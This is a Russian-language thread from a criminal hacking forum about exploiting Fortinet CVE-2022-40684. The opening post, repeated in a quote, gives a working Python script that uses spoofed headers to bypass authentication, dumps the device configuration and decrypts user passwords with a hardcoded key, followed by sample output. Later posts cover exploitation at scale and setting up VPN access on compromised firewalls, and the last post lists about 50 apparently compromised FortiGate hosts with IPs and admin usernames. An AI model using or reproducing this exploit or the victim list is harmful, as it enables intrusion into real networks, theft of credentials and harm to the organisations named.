• XSS.stack #1 – первый литературный журнал от юзеров форума

Мануал/Книга Fortinet CVE-2022-40684

Пожалуйста, обратите внимание, что пользователь заблокирован
Как получить всех юзеров с паролями.
Есть там такая шляпа, как дамп конфига (GET https://HOST/api/v2/monitor/system/config/backup?destination=file&scope=global).
Он выдаст файл с полными настройками фортика. По сути это полный набор команд которые исполняются в консоле, чтобы восстановить текущее состояние системы. Эту штуку мы используем для парсинга и дехеша паролей local и ldap юзеров. Но кроме этого, там вообще вся инфа. Кому нужно что-то другое, придумайте как парсить свои данные, я приложу пример с паролями (это не боевой эксплойт, просто PoC делал для себя, кому надо разберется)

Python:
import re
import warnings
from base64 import b64decode
from typing import Dict, List, Literal, Text

import requests
from Crypto.Cipher import AES
from urllib3 import disable_warnings

disable_warnings()
warnings.filterwarnings("ignore", category=DeprecationWarning)


class Parser:
    def __init__(self, content: Text):
        self.text = content

    def get_config_users(
        self, _type: Literal['local', 'ldap']
    ) -> List[Dict]:

        res = re.search(
            f'config user {_type}(.*?)end',
            self.text,
            re.DOTALL
        )

        if not res:
            return []

        users = re.findall(f'edit(.*?)next', res.group(), re.DOTALL)
        if not users:
            return []

        return Parser._get_local(users) if _type == 'local' \
            else Parser._get_ldap(users) if _type == 'ldap' \
            else []

    @staticmethod
    def _get_ldap(users: List) -> List:
        keys = (
            'domain', 'server', 'cnid',
            'dn', 'username', 'hash'
        )
        results = []
        for user in users:
            vals = re.search(
                r'"(.*?)".*'
                r'server "(.*?)".*'
                r'cnid "(.*?)".*'
                r'dn "(.*?)".*'
                r'username "(.*?)".*'
                r'ENC (.*?)\s+',
                user,
                re.DOTALL,
            )

            if vals:
                results.append(
                    dict(zip(keys, vals.groups()))
                )
        return results

    @staticmethod
    def _get_local(users: List) -> List:
        keys = ('username', 'hash')
        results = []
        for user in users:
            vals = re.search(r'"(.*?)".*ENC\s+(.*?)\s', user, re.DOTALL)
            results.append(dict(zip(keys, vals.groups()))) if vals else None
        return results


class FortiDecrypt:

    @staticmethod
    def decrypt(pwd_hash: str) -> str:
        key = b'Mary had a littl'
        enc = 'unicode_escape'

        pwd_bytes = b64decode(pwd_hash)
        iv = pwd_bytes[0:4] + b'\x00' * 12
        end = pwd_bytes[4:]
        cipher = AES.new(
            key,
            iv=iv,
            mode=AES.MODE_CBC
        )

        pwd = cipher.decrypt(end).decode(enc)
        return pwd.split('\x00')[0]


if __name__ == '__main__':
    host = 'https://127.0.0.1:4433'
    headers = {
        'Forwarded': 'for="[127.0.0.1]:8080";by="[127.0.0.1]:8081";',
        'User-Agent': 'Report Runner',
    }
 
    resp = requests.get(
        host + '/api/v2/monitor/system/config/backup?destination=file&scope=global',
        headers=headers,
        verify=False,
    )

    p = Parser(resp.text)
    u_local = p.get_config_users('local')
    u_ldap = p.get_config_users('ldap')

    print('='*50)
    if u_local:
        print('[+] LOCAL:')
        for user in u_local:
            password = FortiDecrypt.decrypt(user['hash'])
            print(f'[+]---- {user["username"]}:{password}')

    if u_ldap:
        print('[+] LDAP')
        for user in u_ldap:
            password = FortiDecrypt.decrypt(user['hash'])
            print(f'[+]---- {user["username"]}:{password}:{user["domain"]}:{user["server"]}:{user["cnid"]}:{user["dn"]}')

Пример вывода:
[+] LOCAL:
[+]---- guest:Maung@123
[+] LDAP
[+]---- cn=admin1,dc=asdas,dc=com:asdasd@2018:LDAP:1270.0.1:cn:dc=asdasd,dc=com

p.s. да, там есть yaml, но он не валидный и дефолтными парсерами не кушается. Вероятно специфика кодировщика
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Как получить всех юзеров с паролями.
Есть там такая шляпа, как дамп конфига (GET https://HOST/api/v2/monitor/system/config/backup?destination=file&scope=global).
Он выдаст файл с полными настройками фортика. По сути это полный набор команд которые исполняются в консоле, чтобы восстановить текущее состояние системы. Эту штуку мы используем для парсинга и дехеша паролей local и ldap юзеров. Но кроме этого, там вообще вся инфа. Кому нужно что-то другое, придумайте как парсить свои данные, я приложу пример с паролями (это не боевой эксплойт, просто PoC делал для себя, кому надо разберется)

Python:
import re
import warnings
from base64 import b64decode
from typing import Dict, List, Literal, Text

import requests
from Crypto.Cipher import AES
from urllib3 import disable_warnings

disable_warnings()
warnings.filterwarnings("ignore", category=DeprecationWarning)


class Parser:
    def __init__(self, content: Text):
        self.text = content

    def get_config_users(
        self, _type: Literal['local', 'ldap']
    ) -> List[Dict]:

        res = re.search(
            f'config user {_type}(.*?)end',
            self.text,
            re.DOTALL
        )

        if not res:
            return []

        users = re.findall(f'edit(.*?)next', res.group(), re.DOTALL)
        if not users:
            return []

        return Parser._get_local(users) if _type == 'local' \
            else Parser._get_ldap(users) if _type == 'ldap' \
            else []

    @staticmethod
    def _get_ldap(users: List) -> List:
        keys = (
            'domain', 'server', 'cnid',
            'dn', 'username', 'hash'
        )
        results = []
        for user in users:
            vals = re.search(
                r'"(.*?)".*'
                r'server "(.*?)".*'
                r'cnid "(.*?)".*'
                r'dn "(.*?)".*'
                r'username "(.*?)".*'
                r'ENC (.*?)\s+',
                user,
                re.DOTALL,
            )

            if vals:
                results.append(
                    dict(zip(keys, vals.groups()))
                )
        return results

    @staticmethod
    def _get_local(users: List) -> List:
        keys = ('username', 'hash')
        results = []
        for user in users:
            vals = re.search(r'"(.*?)".*ENC\s+(.*?)\s', user, re.DOTALL)
            results.append(dict(zip(keys, vals.groups()))) if vals else None
        return results


class FortiDecrypt:

    @staticmethod
    def decrypt(pwd_hash: str) -> str:
        key = b'Mary had a littl'
        enc = 'unicode_escape'

        pwd_bytes = b64decode(pwd_hash)
        iv = pwd_bytes[0:4] + b'\x00' * 12
        end = pwd_bytes[4:]
        cipher = AES.new(
            key,
            iv=iv,
            mode=AES.MODE_CBC
        )

        pwd = cipher.decrypt(end).decode(enc)
        return pwd.split('\x00')[0]


if __name__ == '__main__':
    host = 'https://127.0.0.1:4433'
    headers = {
        'Forwarded': 'for="[127.0.0.1]:8080";by="[127.0.0.1]:8081";',
        'User-Agent': 'Report Runner',
    }
 
    resp = requests.get(
        host + '/api/v2/monitor/system/config/backup?destination=file&scope=global',
        headers=headers,
        verify=False,
    )

    p = Parser(resp.text)
    u_local = p.get_config_users('local')
    u_ldap = p.get_config_users('ldap')

    print('='*50)
    if u_local:
        print('[+] LOCAL:')
        for user in u_local:
            password = FortiDecrypt.decrypt(user['hash'])
            print(f'[+]---- {user["username"]}:{password}')

    if u_ldap:
        print('[+] LDAP')
        for user in u_ldap:
            password = FortiDecrypt.decrypt(user['hash'])
            print(f'[+]---- {user["username"]}:{password}:{user["domain"]}:{user["server"]}:{user["cnid"]}:{user["dn"]}')

Пример вывода:


p.s. да, там есть yaml, но он не валидный и дефолтными парсерами не кушается. Вероятно специфика кодировщика
Этот вариант лучше чем тот, что я выложил. Удобнее. А я могу хайд снимать. Правильно, наверное, что в паблик выложил инфу про декрипт через "Mary had a littl"(люди гуглить совсем не умеют :). Можешь подсказать, вот предыдущий твой вариант с POST-запросом и загрузкой скрипта - он выполняется также хорошо как GETы? Или он не отработает на фортях где работает GET, но не работает PUT?
Кстати, ты видимо изучал само API и ковырял хорошо эту уязвимость - ты знаешь каким образом "патчат" фортики, чтобы в них PUT не работал? Интересно.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я не изучал работу на потоке хостов, только на тех что давали для тестов.
По логике вещей, никто их не патчит от метода PUT, какой смысл так патчить и оставлять саму дыру. Есть ендпойнты (как admin), которые не работают напрямую из веб, а только в cli. Всё что можно делать в админке, можно делать через put, но у некоторых ендпойнтов есть дополнительные параметры, отличающиеся от общей картины. Например при открытии ssh на интерфейсе надо слать длинную QUERY строку в урле, без которой запрос не отработает. Иных вариантов я не встречал и особо не искал, главное что нужные функции отрабатывают.

Насчет загрузки скрипта тоже не тестил на потоке, но там где тестил проблемы были только с начальным vdom в котормо стартует cli
 
кстати, попадались кому нить девайсы, с отсутствующим интерфейсом на внешку? то есть в админке в списке интерфейсов нет интерфейса с внешним адресом, и впн из-за этого не настроить. Не совсем понимаю, как я тогда к фортику подключаюсь, если нет такого интерфейса внутри
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Да, бывали такие хосты, по-сути проброс портов. Один из заказчиков, шарящий и изучающий эту тему, говорил что некоторые фортики могут уходить через Фортинет-клауд . Т.е., он внешне открыт, но доступ по определенным портам через клауд, а там фильтры и прочая секурность. Логика как и у проброса портов.
Конкретно я не секу в сетевых моментах, как оно там может быть настроено, поэтому прошелся по верхам. Но могу сказать, что многие фортики (30-40%) от общего числа не отработаны именно из-за нестандартной/тонкой настройки, которую авто-сплойт-скрипты не видят, и считают нелеквидом
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Fortinet VPN CVE-2022-40684 вот такая шляпа, кто уже коверял? немного взглянул дописал под себя, и скажу что достаточно доступов которые я хз как еще не положили...
 
кстати, попадались кому нить девайсы, с отсутствующим интерфейсом на внешку? то есть в админке в списке интерфейсов нет интерфейса с внешним адресом, и впн из-за этого не настроить. Не совсем понимаю, как я тогда к фортику подключаюсь, если нет такого интерфейса внутри
Можно попробовать пойти таким путем, в некоторых ситуевинах есть шанс впн все же поднять.

Можно сразу идти в логи Log&Reports – Local traffic и там фильтр по адресу нужного ин-са.

Если не знаем инт-йс к которому подключены.
В консоли вбиваем

# get system session list | grep НАШ_IP с которого пришли на железку.

Запоминаем адрес, к которому от нас открыта сессия, зачастую (не всегда) как раз из этого сегмента приходит проброс порта.

Идем в Log&Reports – Local traffic ставим фильтр на dest = адрес который запомнили и смотрим на какие порты еще приходили запросы от внешних адресов. Любые, что allow, что deny.

Если логи пустые (по дефолту выключены), то

Log&Report – Log Settings и включаем Log All, чтоб кнопки не жмакать. Оставляем чтоб потом глянуть.

Смысл какой, любой попавший в лог пакет с паблик адреса говорит нам о том, что есть мапинг какого-то порта, на этот порт. Т.е. его можно заюзать для впн, остается лишь найти нужный порт на внешнем адресе. Иногда рядом с 443 мапится 80, по сути, для админки нах не нужен. Может вообще оказаться, что весь адрес торчит во вне, забытые мапконфиги или мисконфиг.

Вкратце как-то так.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
FREE 40 Fortigate accesses

++ Im sharing these accesses for free ++



Cheers!
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
Another Free access's, from unsuccessful deal with a dump client.

-- Free with 0 reaction.
Код:
https://118.189.14.58 ,username: admin Singapore
https://148.244.152.22 ,username: BP-SOC mexica
https://129.126.185.52 ,username: Admin.BEPL Singapore
https://84.53.70.104 ,username: Admin0
https://194.51.160.180,username: Supp
https://115.133.204.39,username: admin
https://181.10.246.38,username: Admin0
https://175.138.77.99,username:Johnson
https://145.82.24.242,username: abdulhadi
https://83.48.16.50,username: TQAdmin_
https://106.51.83.129,username: Administrator
https://66.98.81.169,username: cnocadmin
https://190.166.216.185,username: cnocadmin
https://188.161.179.115,username: Admin0
https://vpn.akustik-fellner.at:13443 ,username: admin
https://182.66.195.146,username: admin
https://83.48.16.50,username: TQAdmin_
https://106.51.83.129,username: Administrator
https://113.53.62.107,username: Jpark-Admin
https://210.55.185.254,username: Olivia123
https://139.255.205.138,username: Protergo
https://83.48.16.50,username: TQAdmin_
https://217.38.219.242,username: admin
https://190.66.122.90 ,username: karkas
https://196.127.102.66 ,username: AdminKoulchi
https://95.213.163.106,username: admin
https://186.33.104.36:10443,username: Redfgadmin
https://185.230.40.254 ,username: Hussam
https://119.42.88.136,username: admin@nti.co.th
https://37.34.247.188,username: AliSvc
https://82.134.1.190,username: admin
https://92.19.239.141,username: admin
https://129.126.185.52,username: Admin.BEPL
https://87.150.64.242:8443,username: admin
https://80.26.90.112,username: admin
https://185.252.48.202,username: admin
https://184.69.94.90,username: admin
https://83.164.12.154:8443,username: admiin1
https://222.154.244.229 ,username: ManageIT
https://62.37.224.34,username: admin
https://148.253.31.148,username: admin
https://92.154.58.153,username: AdminGaz
https://80.15.154.13 ,username: admin_francois
https://148.244.152.22 ,username: BP-SOC
https://96.21.25.9 ,username: Defaults
https://84.113.112.219,username: admin
https://118.189.14.58,username: admin
https://186.166.142.82,username: admin
https://82.127.90.159,username: admin
https://180.94.55.77,username: admin

Enjoy!
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх